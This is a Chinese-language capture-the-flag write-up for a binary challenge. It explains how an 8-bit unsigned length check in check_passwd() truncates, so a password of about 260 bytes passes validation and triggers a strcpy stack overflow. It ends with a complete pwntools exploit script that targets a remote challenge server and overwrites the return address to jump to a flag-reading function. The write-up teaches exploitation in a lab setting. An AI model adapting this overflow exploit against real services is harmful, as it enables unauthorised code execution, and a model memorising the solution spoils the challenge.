题目提示整型溢出。首先注意到了有直接读取flag的函数:
main()
分析可得知如果v4 == 1,即可调用login()
。
login函数的内容如下:
int login() { char buf[512]; // [esp+0h] [ebp-228h] BYREF char s[40]; // [esp+200h] [ebp-28h] BYREF memset(s, 0, 0x20u); memset(buf, 0, sizeof(buf)); puts("Please input your username:"); read(0, s, 0x19u); printf("Hello %s\n", s); puts("Please input your passwd:"); read(0, buf, 0x199u); return check_passwd(buf); }
无溢出。但是buf
给的很长,可以读0x199个字节,可以看到最后return check_passwd(buf);
,跟进看一下这个函数:
char *__cdecl check_passwd(char *s) { char *result; // eax char dest[11]; // [esp+4h] [ebp-14h] BYREF unsigned __int8 v3; // [esp+Fh] [ebp-9h] v3 = strlen(s); if ( v3 <= 3u || v3 > 8u ) { puts("Invalid Password"); result = (char *)fflush(stdout); } else { puts("Success"); fflush(stdout); result = strcpy(dest, s); } return result; }
密码要求长度大于3小于8,如果满足条件,就执行result = strcpy(dest, s);
。dest的长度为0x14,该处存在栈溢出漏洞。但是要想利用它就必须通过条件1。此时涉及到整型溢出的特性:
v3的长度为8,即0000 0000~1111 1111,十进制即0~255。
当给它赋值超过255时,会超出长度,发生高位截断。例如,赋值为257(即1 000 0001),发生高位截断,只保留低位,变成了0000 0001它的值实际为1。
根据这个特性,只要buf的长度在259~264之间即可^^。
from pwn import * from LibcSearcher import * elf = ELF('./51ed19eacdea43e3bd67217d08eb8a0e') local = 0 if local == 1: io = process('./51ed19eacdea43e3bd67217d08eb8a0e') else: io = remote('111.200.241.244',65289) io.recvuntil("Your choice:") io.sendline('1') io.recvuntil("your username:\n") io.sendline('shawroot') io.recvuntil("your passwd:\n") system_addr = 0x804868b payload = 'a'*0x14+p32(0xdeadbeef)+p32(system_addr) payload += 'a'*(260-len(payload)) io.sendline(payload) io.interactive()